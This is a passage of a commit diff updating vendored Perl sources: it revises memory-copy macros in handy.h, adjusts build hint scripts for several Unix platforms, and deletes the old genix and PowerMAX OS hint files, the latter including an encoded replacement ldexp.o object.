-#define PERL_STRLEN_ROUNDUP(n) ((void)(((n) > MEM_SIZE_MAX - 2 * PERL_STRLEN_ROUNDUP_QUANTUM) ? (croak_memory_wrap(),0):0),((n-1+PERL_STRLEN_ROUNDUP_QUANTUM)&~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM-1)))
+#define PERL_STRLEN_ROUNDUP(n) ((void)(((n) > MEM_SIZE_MAX - 2 * PERL_STRLEN_ROUNDUP_QUANTUM) ? (croak_memory_wrap(),0) : 0), _PERL_STRLEN_ROUNDUP_UNCHECKED(n))
 #else
 
 #define MEM_WRAP_CHECK(n,t)
 #define MEM_WRAP_CHECK_1(n,t,a)
-#define MEM_WRAP_CHECK_2(n,t,a,b)
+#define MEM_WRAP_CHECK_s(n,t,a)
 #define MEM_WRAP_CHECK_(n,t)
 
-#define PERL_STRLEN_ROUNDUP(n) (((n-1+PERL_STRLEN_ROUNDUP_QUANTUM)&~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM-1)))
+#define PERL_STRLEN_ROUNDUP(n) _PERL_STRLEN_ROUNDUP_UNCHECKED(n)
 
 #endif
 
@@ -2409,19 +2395,21 @@
 #define Safefree(d)	safefree(MEM_LOG_FREE((Malloc_t)(d)))
 #endif
 
-#define Move(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) (void)memmove((char*)(d),(const char*)(s), (n) * sizeof(t)))
-#define Copy(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) (void)memcpy((char*)(d),(const char*)(s), (n) * sizeof(t)))
-#define Zero(d,n,t)	(MEM_WRAP_CHECK_(n,t) (void)memzero((char*)(d), (n) * sizeof(t)))
+/* assert that a valid ptr has been supplied - use this instead of assert(ptr)  *
+ * as it handles cases like constant string arguments without throwing warnings *
+ * the cast is required, as is the inequality check, to avoid warnings          */
+#define perl_assert_ptr(p) assert( ((void*)(p)) != 0 )
 
-#define MoveD(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) memmove((char*)(d),(const char*)(s), (n) * sizeof(t)))
-#define CopyD(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) memcpy((char*)(d),(const char*)(s), (n) * sizeof(t)))
-#ifdef HAS_MEMSET
-#define ZeroD(d,n,t)	(MEM_WRAP_CHECK_(n,t) memzero((char*)(d), (n) * sizeof(t)))
-#else
-/* Using bzero(), which returns void.  */
-#define ZeroD(d,n,t)	(MEM_WRAP_CHECK_(n,t) memzero((char*)(d), (n) * sizeof(t)),d)
-#endif
 
+#define Move(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), (void)memmove((char*)(d),(const char*)(s), (n) * sizeof(t)))
+#define Copy(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), (void)memcpy((char*)(d),(const char*)(s), (n) * sizeof(t)))
+#define Zero(d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), (void)memzero((char*)(d), (n) * sizeof(t)))
+
+/* Like above, but returns a pointer to 'd' */
+#define MoveD(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), memmove((char*)(d),(const char*)(s), (n) * sizeof(t)))
+#define CopyD(s,d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), perl_assert_ptr(s), memcpy((char*)(d),(const char*)(s), (n) * sizeof(t)))
+#define ZeroD(d,n,t)	(MEM_WRAP_CHECK_(n,t) perl_assert_ptr(d), memzero((char*)(d), (n) * sizeof(t)))
+
 #define PoisonWith(d,n,t,b)	(MEM_WRAP_CHECK_(n,t) (void)memset((char*)(d), (U8)(b), (n) * sizeof(t)))
 #define PoisonNew(d,n,t)	PoisonWith(d,n,t,0xAB)
 #define PoisonFree(d,n,t)	PoisonWith(d,n,t,0xEF)
@@ -2433,11 +2421,7 @@
 #  define PERL_POISON_EXPR(x)
 #endif
 
-#ifdef USE_STRUCT_COPY
 #define StructCopy(s,d,t) (*((t*)(d)) = *((t*)(s)))
-#else
-#define StructCopy(s,d,t) Copy(s,d,1,t)
-#endif
 
 /* C_ARRAY_LENGTH is the number of elements in the C array (so you
  * want your zero-based indices to be less than but not equal to).
@@ -2450,12 +2434,10 @@
 #ifdef NEED_VA_COPY
 # ifdef va_copy
 #  define Perl_va_copy(s, d) va_copy(d, s)
+# elif defined(__va_copy)
+#  define Perl_va_copy(s, d) __va_copy(d, s)
 # else
-#  if defined(__va_copy)
-#   define Perl_va_copy(s, d) __va_copy(d, s)
-#  else
-#   define Perl_va_copy(s, d) Copy(s, d, 1, va_list)
-#  endif
+#  define Perl_va_copy(s, d) Copy(s, d, 1, va_list)
 # endif
 #endif
 
@@ -2496,32 +2478,28 @@
 #  if Uid_t_size > IVSIZE
 #    define sv_setuid(sv, uid)       sv_setnv((sv), (NV)(uid))
 #    define SvUID(sv)                SvNV(sv)
+#  elif Uid_t_sign <= 0
+#    define sv_setuid(sv, uid)       sv_setiv((sv), (IV)(uid))
+#    define SvUID(sv)                SvIV(sv)
 #  else
-#    if Uid_t_sign <= 0
-#      define sv_setuid(sv, uid)       sv_setiv((sv), (IV)(uid))
-#      define SvUID(sv)                SvIV(sv)
-#    else
-#      define sv_setuid(sv, uid)       sv_setuv((sv), (UV)(uid))
-#      define SvUID(sv)                SvUV(sv)
-#    endif
+#    define sv_setuid(sv, uid)       sv_setuv((sv), (UV)(uid))
+#    define SvUID(sv)                SvUV(sv)
 #  endif /* Uid_t_size */
 
 #  if Gid_t_size > IVSIZE
 #    define sv_setgid(sv, gid)       sv_setnv((sv), (NV)(gid))
 #    define SvGID(sv)                SvNV(sv)
+#  elif Gid_t_sign <= 0
+#    define sv_setgid(sv, gid)       sv_setiv((sv), (IV)(gid))
+#    define SvGID(sv)                SvIV(sv)
 #  else
-#    if Gid_t_sign <= 0
-#      define sv_setgid(sv, gid)       sv_setiv((sv), (IV)(gid))
-#      define SvGID(sv)                SvIV(sv)
-#    else
-#      define sv_setgid(sv, gid)       sv_setuv((sv), (UV)(gid))
-#      define SvGID(sv)                SvUV(sv)
-#    endif
+#    define sv_setgid(sv, gid)       sv_setuv((sv), (UV)(gid))
+#    define SvGID(sv)                SvUV(sv)
 #  endif /* Gid_t_size */
 
 #endif
 
-#endif  /* HANDY_H */
+#endif  /* PERL_HANDY_H_ */
 
 /*
  * ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/hints/aix.sh
===================================================================
--- vendor/perl/dist/hints/aix.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/aix.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -94,7 +94,7 @@
 
 ccflags="$ccflags -D_ALL_SOURCE -D_ANSI_C_SOURCE -D_POSIX_SOURCE"
 case "$cc" in
-    *gcc*) ;;
+    *gcc*|*g++*) ;;
     *) ccflags="$ccflags -qmaxmem=-1 -qnoansialias -qlanglvl=extc99" ;;
     esac
 nm_opt='-B'
@@ -109,7 +109,7 @@
 cccdlflags='none'	# All AIX code is position independent
    cc_type=xlc		# do not export to config.sh
 case "$cc" in
-    *gcc*)
+    *gcc*|*g++*)
 	cc_type=gcc
 	ccdlflags='-Xlinker'
 	if [ "X$gccversion" = "X" ]; then
@@ -189,7 +189,7 @@
     esac
 
 case "$cc" in
-    *gcc*) ;;
+    *gcc*|*g++*) ;;
 
     cc*|xlc*) # cc should've been set by line 116 or so if empty.
 	if test ! -x /usr/bin/$cc -a -x /usr/vac/bin/$cc; then
@@ -238,19 +238,19 @@
 
 	ccflags="$ccflags -DNEED_PTHREAD_INIT"
 	case "$cc" in
-	    *gcc*) 
-	      ccflags="-D_THREAD_SAFE $ccflags" 
+	    *gcc*|*g++*)
+	      ccflags="-D_THREAD_SAFE $ccflags"
 	      ;;
-	    cc_r) 
+	    cc_r)
 	      ;;
-	    xlc_r) 
+	    xlc_r)
 	      ;;
 	    # we do not need the C++ compiler
-	    xlC_r) 
-	      cc=xlc_r 
+	    xlC_r)
+	      cc=xlc_r
 	      ;;
-	    '') 
-	      cc=cc_r 
+	    '')
+	      cc=cc_r
 	      ;;
 	    *)
 	esac
@@ -266,11 +266,11 @@
 	;;
     *)
 	case "$cc" in
-	    xlc) 
+	    xlc)
 	      ;;
 	    # we do not need the C++ compiler
-	    xlC) 
-	      cc=xlc 
+	    xlC)
+	      cc=xlc
 	      ;;
 	    *)
 	esac
@@ -429,7 +429,7 @@
 	ccflags="`echo $ccflags | sed -e 's at -q32@@'`"
 	ldflags="`echo $ldflags | sed -e 's at -b32@@'`"
 	case "$cc" in
-	    *gcc*)
+	    *gcc*|*g++*)
 		ccflags="`echo $ccflags | sed -e 's at -q64@-maix64@'`"
 		ccflags_uselargefiles="`echo $ccflags_uselargefiles | sed -e 's at -q64@-maix64@'`"
 		qacflags="`echo $qacflags | sed -e 's at -q64@-maix64@'`"
@@ -474,8 +474,8 @@
     #			    libraries. AIX allows both .so and .a libraries to
     #			    contain dynamic shared objects.
     case "$cc" in
-	*gcc*) ldflags="$ldflags -Wl,-brtl -Wl,-bdynamic" ;;
-	*)     ldflags="$ldflags -brtl -bdynamic" ;;
+	*gcc*|*g++*) ldflags="$ldflags -Wl,-brtl -Wl,-bdynamic" ;;
+	*)           ldflags="$ldflags -brtl -bdynamic" ;;
 	esac
 elif test -f /lib/libC.a -a X"`$cc -v 2>&1 | grep gcc`" = X; then
     # If the C++ libraries, libC and libC_r, are available we will
@@ -584,7 +584,7 @@
 # The missing math functions affect the POSIX extension math interfaces.
 
 case "$uselongdouble" in
-'')
+$define)
   echo "Checking if your infinity is working with long doubles..." >&4
   cat > inf$$.c <<EOF
 #include <math.h>

Modified: vendor/perl/dist/hints/catamount.sh
===================================================================
--- vendor/perl/dist/hints/catamount.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/catamount.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,11 +31,11 @@
 # mkdir -p /opt/perl-catamount
 # mkdir -p /opt/perl-catamount/include
 # mkdir -p /opt/perl-catamount/lib
-# mkdir -p /opt/perl-catamount/lib/perl5/5.26.0
+# mkdir -p /opt/perl-catamount/lib/perl5/5.28.0
 # mkdir -p /opt/perl-catamount/bin
 # cp *.h /opt/perl-catamount/include
 # cp libperl.a /opt/perl-catamount/lib
-# cp -pr lib/* /opt/perl-catamount/lib/perl5/5.26.0
+# cp -pr lib/* /opt/perl-catamount/lib/perl5/5.28.0
 # cp miniperl perl run.sh cc.sh /opt/perl-catamount/lib
 #
 # With the headers and the libperl.a you can embed Perl to your Catamount
@@ -77,7 +77,6 @@
 archobjs='catalib.o'
 d_mmap='undef'
 d_setlocale='undef' # There is setlocale() but no locales.
-d_vprintf='define'
 hintfile='catamount'
 i_arpainet='undef'
 i_db='undef'

Modified: vendor/perl/dist/hints/cygwin.sh
===================================================================
--- vendor/perl/dist/hints/cygwin.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/cygwin.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
 man3ext='3pm'
 test -z "$use64bitint" && use64bitint='define'
 test -z "$useithreads" && useithreads='define'
-ccflags="$ccflags -DPERL_USE_SAFE_PUTENV -U__STRICT_ANSI__"
+ccflags="$ccflags -DPERL_USE_SAFE_PUTENV -U__STRICT_ANSI__ -D_GNU_SOURCE"
 # - otherwise i686-cygwin
 archname='cygwin'
 

Modified: vendor/perl/dist/hints/darwin.sh
===================================================================
--- vendor/perl/dist/hints/darwin.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/darwin.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -511,3 +511,20 @@
         ccflags="$ccflags -DPERL_USE_SAFE_PUTENV"
 fi
 EOOVER
+
+# if you use a newer toolchain before OS X 10.9 these functions may be
+# incorrectly detected, so disable them
+# OS X 10.10.x corresponds to kernel 14.x
+case "$osvers" in
+    [1-9].*|1[0-3].*)
+	d_linkat=undef
+	d_openat=undef
+	d_renameat=undef
+	d_unlinkat=undef
+	d_fchmodat=undef
+	;;
+esac
+
+# mkostemp() was autodetected as present but found to not be linkable
+# on 15.6.0.  Unknown what other OS versions are affected.
+d_mkostemp=undef

Modified: vendor/perl/dist/hints/epix.sh
===================================================================
--- vendor/perl/dist/hints/epix.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/epix.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -55,7 +55,6 @@
 #   it is needed for ODBM_File and NDBM_File extensions.
 if [ -r /usr/ucblib/libucb.a ]; then	# If using BSD-compat. library:
     # Use the "native" counterparts, not the BSD emulation stuff:
-    d_bcmp='undef'; d_bcopy='undef'; d_bzero='undef'; d_safebcpy='undef'
     d_index='undef'; d_killpg='undef'; d_getprior='undef'; d_setprior='undef'
     d_setlinebuf='undef'; d_setregid='undef'; d_setreuid='undef'
 fi

Modified: vendor/perl/dist/hints/freebsd.sh
===================================================================
--- vendor/perl/dist/hints/freebsd.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/freebsd.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -318,5 +318,37 @@
 # of FreeBSD.
 d_printf_format_null='undef'
 
-# As of 10.3-RELEASE FreeBSD.  See [perl #128867]
-d_uselocale='undef'
+# See [perl #128867]
+# Interpreting: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=211743#c10
+# khw workaround no longer needed in the following FREEBSD_KERNEL_VERSIONs
+#1200004 and up
+#1100502 >= version < 1200000
+#1003507 >= version < 1100000
+# Experiments have shown that this doesn't fully work.  The first kernel we know it works is 1200056
+
+FREEBSD_KERNEL_VERSION=`uname -U`
+#if  [ $FREEBSD_KERNEL_VERSION -lt 1003507 ] || \
+#    [ $FREEBSD_KERNEL_VERSION -ge 1100000 ] && [ $FREEBSD_KERNEL_VERSION -lt 1100502 ] || \
+#    [ $FREEBSD_KERNEL_VERSION -ge 1200000 ] && [ $FREEBSD_KERNEL_VERSION -lt 1200004 ]
+if  [ $FREEBSD_KERNEL_VERSION -lt 1200056 ]
+then
+    d_uselocale='undef'
+fi
+
+# https://rt.perl.org/Ticket/Display.html?id=131337
+# Reported in 11.0-CURRENT with g++-4.8.5:
+# If using g++, the Configure scan for dlopen() fails.
+# Easier for now to just to forcibly set it.
+case "$cc" in
+*g++*)
+  d_dlopen='define'
+  ;;
+esac
+
+case `uname -p` in
+arm|mips)
+  ;;
+*)
+  test "$optimize" || optimize='-O2'
+  ;;
+esac

Deleted: vendor/perl/dist/hints/genix.sh
===================================================================
--- vendor/perl/dist/hints/genix.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/genix.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1 +0,0 @@
-i_varargs=undef

Modified: vendor/perl/dist/hints/hpux.sh
===================================================================
--- vendor/perl/dist/hints/hpux.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/hpux.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -812,3 +812,10 @@
 *"isfinite"*) ;;
 *) d_isfinite=undef ;;
 esac
+
+# 11.23 says it has mbrlen and mbrtowc, but compiling them fails as it can't
+# find the type definition for mbstate_t which one of the parameters is.  It's
+# not in the hdr the man page says it is.  Perhaps a better Configure probe is
+# needed, but for now simply undefine them
+d_mbrlen='undef'
+d_mbrtowc='undef'

Modified: vendor/perl/dist/hints/irix_4.sh
===================================================================
--- vendor/perl/dist/hints/irix_4.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/irix_4.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,7 @@
 #
 cat <<'EOM' >&4
 If you have problems, you might have try including
-	-DSTANDARD_C -cckr 
+	-cckr
 in ccflags.
 EOM
 

Modified: vendor/perl/dist/hints/irix_6.sh
===================================================================
--- vendor/perl/dist/hints/irix_6.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/irix_6.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -580,10 +580,7 @@
 
 #define sPRIfldbl $sPRIfldbl
 
-#define I_STDLIB $i_stdlib
-#ifdef I_STDLIB
 #include <stdlib.h>
-#endif
 
 int main()
 { 
@@ -622,10 +619,7 @@
 
 #define sPRIfldbl $sPRIfldbl
 
-#define I_STDLIB $i_stdlib
-#ifdef I_STDLIB
 #include <stdlib.h>
-#endif
 
 int main()
 { 

Modified: vendor/perl/dist/hints/mips.sh
===================================================================
--- vendor/perl/dist/hints/mips.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/mips.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,4 @@
 perl_cflags='optimize="-g"'
-d_volatile=undef
 d_castneg=undef
 cc=cc
 glibpth="/usr/lib/cmplrs/cc $glibpth"

Modified: vendor/perl/dist/hints/netbsd.sh
===================================================================
--- vendor/perl/dist/hints/netbsd.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/netbsd.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -254,3 +254,14 @@
 case "$usemymalloc" in
 '') usemymalloc=n ;;
 esac
+
+# NetBSD 6 defines the *at() functions in libc, but either doesn't
+# implement them, or implements them only for AT_FDCWD
+case "$osver" in
+[1-6].*)
+        d_unlinkat="$undef"
+        d_renameat="$undef"
+        d_linkat="$undef"
+        d_fchmodat="$undef"
+        ;;
+esac

Deleted: vendor/perl/dist/hints/powerux.sh
===================================================================
--- vendor/perl/dist/hints/powerux.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/powerux.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,218 +0,0 @@
-# Hints for the Power MAX OS operating system (formerly PowerUX - hence the
-# name) running on Concurrent (formerly Harris) NightHawk machines.  Written
-# by Tom.Horsley at ccur.com
-#
-# This hint uses dynamic linking and the new Concurrent C compiler (based
-# on the Edison front end).  This hint file was produced for a build of the
-# 5.7.3 development release of perl running on a PowerMAX_OS 5.1SR2 system
-# (but it should work on any Power MAX release using the newer "ec" (versus
-# "cc") compiler, and hopefully will also work for the upcoming 5.8
-# development release of perl).
-
-# First find out where the root of the source tree is located.
-
-SRCROOT=""
-if [ -f ./INSTALL ]
-then
-   SRCROOT="."
-else
-   if [ -f ../INSTALL ]
-   then
-      SRCROOT=".."
-   fi
-fi
-if [ -z "$SRCROOT" ]
-then
-   echo "powerux hint file cannot locate root perl source!" 1>&2
-   exit 2
-fi
-
-# We DO NOT want -lmalloc or -lPW, we DO need -lgen to follow -lnsl, so
-# fixup libswanted to reflect that desire (also need -lresolv if you want
-# DNS name lookup to work, which seems desirable :-).
-#
-libswanted=`echo ' '$libswanted' ' | sed -e 's/ malloc / /' -e 's/ PW / /' -e 's/ nsl / nsl gen resolv /'`
-
-# We DO NOT want /usr/ucblib in glibpth
-#
-glibpth=`echo ' '$glibpth' ' | sed -e 's@ /usr/ucblib @ @'`
-
-# Yes, csh exists, but doesn't work worth beans, if perl tries to use it,
-# the glob test fails, so just pretend it isn't there...
-#
-d_csh='undef'
-
-# Need to use Concurrent ec for most of these options to be meaningful (if you
-# want to get this to work with gcc, you're on your own :-). Passing
-# -Bexport to the linker when linking perl is important because it leaves
-# the interpreter internal symbols visible to the shared libs that will be
-# loaded on demand (and will try to reference those symbols). The -usys_nerr
-# drags in some stuff from libc that perl proper doesn't reference but
-# some dynamically linked extension will need to be in the static part
-# of perl (there are probably more of these that might be useful, but
-# for the extensions I build, this turned out to be enough). The -uldexp
-# makes sure the custom ldexp.o I add to archobjs actually gets pulled
-# into perl from libperl.a.  The -unanosleep makes Timer::HiRes happy.
-#
-cc='/usr/ccs/bin/ec'
-cccdlflags='-Zpic'
-ccdlflags='-Zlink=dynamic -Wl,-usys_nerr -Wl,-uldexp -Wl,-unanosleep -Wl,-Bexport'
-lddlflags='-Zlink=so'
-
-# Sigh... Various versions of Power MAX went out with a broken ldexp runtime
-# routine in libc (it is fixed for sure in the upcoming SR4 release, but
-# that hasn't made it out the door yet). Since libc is linked dynamically,
-# and the perl you build might try to run on one of the broken systems, we
-# need to statically link a corrected copy of ldexp.o into perl. What the
-# following code does is determine if the ldexp.o on the current system
-# works right. If it does, it simply extracts the ldexp.o from the system C
-# library and uses that .o file. If the system .o is broken, the btoa
-# encoded copy of a correct ldexp.o file included in this hint file is used
-# (what a pain...)
-#
-if [ ! -f $SRCROOT/ldexp.o ]
-then
-   echo Finding a correct copy of ldexp.o to link with... 1>&2
-   cat > $SRCROOT/UU/ldexptest.c <<'EOF'
-#include <stdio.h>
-#include <math.h>
-#include <string.h>
-int
-main(int argc, char ** argv) {
-   double result = pow(2.0, 38.0);
-   char buf[100];
-   sprintf(buf, "%g", result);
-   if (strncmp(buf, "inf", 3) == 0) {
-      exit(2);
-   }
-   return 0;
-}
-EOF
-   GOODLDEXP="no"
-   $cc -v -Zlink=static -o $SRCROOT/UU/ldexptest $SRCROOT/UU/ldexptest.c -lm > $SRCROOT/UU/ldexptest.lo 2>&1
-   if [ $? -eq 0 ]
-   then
-      $SRCROOT/UU/ldexptest
-      if [ $? -eq 0 ]
-      then
-         LDEXPLIB=`fgrep libc.a $SRCROOT/UU/ldexptest.lo | tail -1 | sed -e 's@^[^/]*@@'`
-         if [ -s "$LDEXPLIB" ]
-         then
-            if [ -f "$LDEXPLIB" ]
-            then
-               GOODLDEXP="yes"
-            fi
-         fi
-      fi
-   fi
-   if [ "$GOODLDEXP" = "yes" ]
-   then
-      echo Congratulations! The ldexp.o on this system looks good! 1>&2
-      echo Using ldexp.o from $LDEXPLIB 1>&2
-      ( cd $SRCROOT ; ar x $LDEXPLIB ldexp.o )
-   else
-      echo Sorry, the ldexp.o on this system is busted. 1>&2
-      echo Using the ldexp.o from the powerux hint file 1>&2
-      atob > $SRCROOT/ldexp.o << 'EOF'
-xbtoa Begin
-Imm%#!<N9%zz!!*'-!!!!"zz!!!8Jz!&OZU!!!!I!"/c-!%r>7Ecb`!!%rA)G]Wp<Ec5JsFC>/%FC\
-s(@fS,lAR]dp?YjFoAH3u00JG4;0JEJZF*VVE@:B4QA7^")/n4k]/hUsNAU&0$@rH4'?Zg7#FC/KgB
-5)5`!%om?A7^")?Yj7aG]7#$DI``"/o5'0G]7#+A7^")?N:'+5\stBG]7#+Bl7KhF*(i2F9"RBA7^"
-)?YjFoARB"dA,nl2A7^")?YjFoARAnXB5)5`5\stBG]7#/Ec5c4B6 at cmASu#Y5\stBG]7#/Ec5c4B6
- at cm@V'1dD?'ZQA7^")!+0)TBQ at HkEcQ&9!+p7_G]3XiCh[?cG%G]8Bl at kh?XIJhB4YFn@;GorEb0&q
-/p(ZLF9!q6ASbd-FC\s(@fS-%ASbd-A7]4mB4#IhDIieJz3$J<@IAd4EOoYQ5HuL$L3Pb]og;*c.rk
-Jf$0+\*`g>N$VfHC6nOeDcBJaNL<r#i5*<UF at H/I_sb5`,PtJ;sU43WK.'.>.[$5ct)L<TXBJ5b\68
-8,rVja<:P^38ac\OQ-<@b/"'sb2E>Fr#l&\JY<(2JcPk%3$A9`IAd7F:4N<e<U"H%5b\5i3FDgf;/_
-p at OmW2L8,rVjOok[aa<:P^b/"'sb2E>FJY<(2JcPk%3$A9`IAd7F:4N<e6(.iX4J2ZSb2iU's-C.p6
-,!Blr#i5*3+2eP8,rVjJH5a9/J%m^4[8uI/!'`P5`#LiIF(:p4CCN1/WKr63FDgf5ck%!8,rVj4[8u
-I3T'l]4obQ_OlHEAJP#nB/d_RY5dCAdrg(%ob2E>F4eMcT^b#Nd5a26gb/"'sJY<(2JcPk%3$A9`IA
-d7F:4N<eb/"'s4J2ZS^a/s\JY<(2JcPk%3$A9`IAd7F:4N<eaKPXErt`*EJY<(25aVNob/"'sr#dCa
-IAd7Fb2E>FJcPk%3$A9`:4N<eb/"'sr#dDL4TGH^IAd7Fb2E>FJcPk%3$A9`:4N<eaQ`a*5b.lp4Wj
-_)b,G@@3Y;>Nrmh6n.M)S$6';3>OC8,cI;FEfb2E>FD1mE>OF[C2aT2B<JY<(2JcPk%r5^iGIAd7Fr
-&+S]b/"'s3$A9`:4N<eI'>pO3T0qs/VX)J4[;@g3<0$[I1UWg5car>8,rVj35>M<r#iM2OM_%ub/"'
-sb2E>FJY<(2JcPk%3$A9`IAd7F:4N<eJY<(25_oC_4hq$tb)QH%3Y29438jhrrmh6.IulWT6(IuEO[
-/tTILlM+IAd7Fb2E>FI11W[4obQ_a\Vs;D1mE>OF[CBa^G0WJcPk%r@:\mr&.(kb/"'s3$A9`:4N<e
-b/"'sb2E>FJY<(2JcPk%3$A9`IAd7F:4N<ezzzs*t(KzIt.Luz6-oT3z6SJK?J,fQL4qI\oz!!!!s!
-!!!$zz!s/HG!!!"\!!!!)s8W,W!!!*$!!!"@!!3-#!"]85q[3`2!<E3%!!!!"!!!!&!WW3#!!WNU!W
-rH*If]fT!sSf.!Cp$,"p9>V!<FMOCe,mh8j5 at -)[6Co!W`<V"u5N)49bn;!W`<+-`^N""p9>V!<F,D
-Bh&@0If]WO"t'Ld!Y>A:>Q=d*zz"98E)zzzzzzzzzz!!!!\zz"9AJl!!!!dzz!rr<&!!!!ezz!!!!#
-!!!"(zz!rr<'!!!")!!!)]z!!!!#!!!";!!!!Mz!!!!#!!!"Jzz!rr<(!!!"Kzz!rr<)!!!"Lzz!!!
-!&!!!"^!!!"Dz!!!!&!!!"n!!!!%z!!!!&!!!#+!!!!;z!!!!&!!!#?!!!!+z!!!!&!!!#Uzz!rr<*
-!!!#Vz!!!)]&c_n5!!!#\zz&-)\1!!!#hzz&-)\1!!!#nzz&-)\1!!!$&zz&-)\1!!!"$!!!Q<z!!!
-"h!!!Q<z!!!#A!!!-Gz!!!#E!!!-Hz!!!#W!!!T=z!!!#e!!!-G!!!!A!!!$.!!!Q<z!!!$4!!!WUz
-!!!$<!!!ZVz!!!$D!!!WVz!!!$X!!!-G!!!!)!!!$\!!!-H!!!!)!!!%+!!!-G!!!!1!!!%/!!!-H!
-!!!1!!!%G!!!ZWz!!!&&!!!ZVz!!!&>!!!-H!!!!A!!!&F!!!-G!!!!9!!!&J!!!-H!!!!9!!!'[!!
-!Q<z!!!(<!!!-G!!!!I!!!(@!!!-H!!!!I!!!(l!!!-G!!!!A!!!(p!!!-H!!!!A!!!!)!!!3Gz!!!
-!-!!!'C!!!)]!!!!>!!!*Ezzzzzzzzzzz!!!!"!!!!$zz!!!!U!!!$Yzz!!!!"z!!!!*!!!!"!!!!'
-z!!!%=!!!)]zz!!!!1z!!!!0!!!!"!!!!#z!!!.(!!!!Qzz!!!!)z!!!!8!!!!"!!!!#z!!!.X!!!!
-Ezz!!!!%z!!!!?!!!!"zz!!!/'!!!"Dzz!!!!%z!!!!KJ,fQLzz!!!0J!!!!Ezz!!!!%z!!!!T!!!!
-#zz!!!0n!!!$b!!!!"!!!!0!!!!%!!!!1!!!$1!!!!%zz!!!4Z!!!$B!!!!(!!!!#!!!!%!!!!-!!!
-$<!!!!%zz!!!8&!!!!9!!!!(!!!!%!!!!%!!!!-!!!$H!!!!%zz!!!8>!!!!-!!!!(!!!!&!!!!%!!
-!!-
-xbtoa End N 2436 984 E ad S 1bf43 R a7867666
-EOF
-   fi
-   ( cd $SRCROOT/UU ; rm -f ldexptest* )
-fi
-if [ -f $SRCROOT/ldexp.o ]
-then
-   archobjs='ldexp.o'
-fi
-
-# Configure sometime finds what it believes to be ndbm header files on the
-# system and imagines that we have the NDBM library, but we really don't.
-# There is something there that once resembled ndbm, but it is purely
-# for internal use in some tool and has been hacked beyond recognition
-# (or even function :-)
-#
-i_ndbm='undef'
-
-# I have no clue what perl thinks it wants <sys/mode.h> for, but if you
-# include it in a program in PowerMAX without first including <sys/vnode.h>
-# the code don't compile (apparently some other operating system has
-# something completely different in its sys/mode.h)
-#
-i_sysmode='undef'
-
-# There was a bug in memcmp (which was fixed a while ago) which sometimes
-# fails to provide the correct compare status (it is data dependant). I
-# don't want to figure out if you are building with the correct version or
-# not, so just pretend there is no memcmp (since perl has its own handy
-# substitute).
-#
-d_memcmp='undef'
-
-# Due to problems with dynamic linking (which I also hope will be fixed soon)
-# you can't build a libperl.so, the core has to be in the static part of the
-# perl executable.
-#
-useshrplib='false'
-
-# PowerMAX OS has support for a few different kinds of filesystems. The
-# newer "xfs" filesystem does *not* report a reasonable value in the
-# 'nlinks' field of stat() info for directories (in fact, it is always 1).
-# Since xfs is the only filesystem which supports partitions bigger than
-# 2gig and you can't hardly buy a disk that small anymore, xfs is coming in
-# to greater and greater use, so we pretty much have no choice but to
-# abandon all hope that number of links will mean anything.
-#
-dont_use_nlink=define
-
-# Configure comes up with the wrong type for these for some reason.  The
-# pointers shouldn't have const in them. (And it looks like I have to
-# provide netdb_hlen_type as well because when I predefine the others it
-# comes up empty :-).
-#
-netdb_host_type='char *'
-netdb_name_type='char *'
-netdb_hlen_type='int'
-
-# Misc other flags that might be able to change, but I know these work right.
-#
-d_suidsafe='define'
-d_isascii='define'
-d_mymalloc='undef'
-usemymalloc='n'
-ssizetype='ssize_t'
-usevfork='false'
-

Modified: vendor/perl/dist/hints/svr4.sh
===================================================================
--- vendor/perl/dist/hints/svr4.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/svr4.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,7 +25,6 @@
 if [ -r /usr/ucblib/libucb.a ]; then	# If using BSD-compat. library:
     gconvert_preference='gcvt sprintf'	# Try gcvt() before gconvert().
